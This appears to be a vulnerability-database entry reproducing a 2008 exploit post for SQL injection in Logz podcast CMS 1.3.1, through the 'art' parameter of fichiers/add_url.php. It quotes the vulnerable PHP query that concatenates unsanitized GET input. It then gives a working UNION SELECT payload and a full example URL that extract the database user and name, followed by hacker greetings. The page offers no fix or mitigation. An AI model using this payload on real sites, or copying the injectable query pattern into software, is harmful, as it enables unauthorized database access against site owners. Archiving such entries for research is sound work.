Search...

Logz podcast CMS 1.3.1 (add_url.php art) SQL Injection Vulnerability

2008-11-01T00:00:00

ID SSV:9871
Type seebug
Reporter Root
Modified 2008-11-01T00:00:00

Description

No description provided by source.

                                        
                                            
                                                [~] Logz podcast CMS version 1.3.1 Remote sql inj
[~]
[~] download: http://sourceforge.net/project/showfiles.php?group_id=107225&amp;package_id=178479&amp;release_id=635701
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 31.10.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~] 
[~] N0T: a.q kpss : ) )
[~]
[~] -----------------------------------------------------------

file:

fichiers/add_url.php

code:

       if (isset($_GET['art'])) {
	      $Article = $_GET['art']; 
	      
	      ...
	      
	      $Requete = &quot;SELECT TITRE FROM &quot;.TABLEARTICLES.&quot; WHERE ID = '&quot;.$Article.&quot;' &quot;.$Conditions;
        $ResultRequete = requete_mysql($Requete);
	      
	   

Exploit:

http://localhost/script_path/fichiers/add_url.php?art=[SQL]

[SQL]= column number 1 (SELECT TITRE FROM ...)

1'+union+select+concat(user(),0x3a,database())/*

example:

http://example.com/scripth_path/fichiers/add_url.php?art=1'+union+select+concat(user(),0x3a,database())/*

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke &amp; all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &amp;  darkc0de.com
[~]
[~]----------------------------------------------------------------------

JSON Vulners Source

Initial Source

{"sourceData": "\n [~] Logz podcast CMS version 1.3.1 Remote sql inj\r\n[~]\r\n[~] download: http://sourceforge.net/project/showfiles.php?group_id=107225&package_id=178479&release_id=635701\r\n[~]\r\n[~] ----------------------------------------------------------\r\n[~] Discovered By: ZoRLu\r\n[~]\r\n[~] Date: 31.10.2008\r\n[~]\r\n[~] Home: www.z0rlu.blogspot.com\r\n[~]\r\n[~] contact: trt-turk@hotmail.com\r\n[~]\r\n[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (\r\n[~] \r\n[~] N0T: a.q kpss : ) )\r\n[~]\r\n[~] -----------------------------------------------------------\r\n\r\nfile:\r\n\r\nfichiers/add_url.php\r\n\r\ncode:\r\n\r\n if (isset($_GET['art'])) {\r\n\t $Article = $_GET['art']; \r\n\t \r\n\t ...\r\n\t \r\n\t $Requete = "SELECT TITRE FROM ".TABLEARTICLES." WHERE ID = '".$Article."' ".$Conditions;\r\n $ResultRequete = requete_mysql($Requete);\r\n\t \r\n\t \r\n\r\nExploit:\r\n\r\nhttp://localhost/script_path/fichiers/add_url.php?art=[SQL]\r\n\r\n[SQL]= column number 1 (SELECT TITRE FROM ...)\r\n\r\n1'+union+select+concat(user(),0x3a,database())/*\r\n\r\nexample:\r\n\r\nhttp://example.com/scripth_path/fichiers/add_url.php?art=1'+union+select+concat(user(),0x3a,database())/*\r\n\r\n[~]----------------------------------------------------------------------\r\n[~] Greetz tO: str0ke & all Muslim HaCkeRs\r\n[~]\r\n[~] yildirimordulari.org & darkc0de.com\r\n[~]\r\n[~]----------------------------------------------------------------------\n ", "status": "poc", "description": "No description provided by source.", "sourceHref": "https://www.seebug.org/vuldb/ssvid-9871", "reporter": "Root", "href": "https://www.seebug.org/vuldb/ssvid-9871", "type": "seebug", "viewCount": 1, "references": [], "lastseen": "2017-11-19T21:22:08", "published": "2008-11-01T00:00:00", "cvelist": [], "id": "SSV:9871", "enchantments_done": [], "modified": "2008-11-01T00:00:00", "title": "Logz podcast CMS 1.3.1 (add_url.php art) SQL Injection Vulnerability", "cvss": {"score": 0.0, "vector": "NONE"}, "bulletinFamily": "exploit", "enchantments": {"score": {"value": 0.5, "vector": "NONE", "modified": "2017-11-19T21:22:08", "rev": 2}, "dependencies": {"references": [], "modified": "2017-11-19T21:22:08", "rev": 2}, "vulnersScore": 0.5}}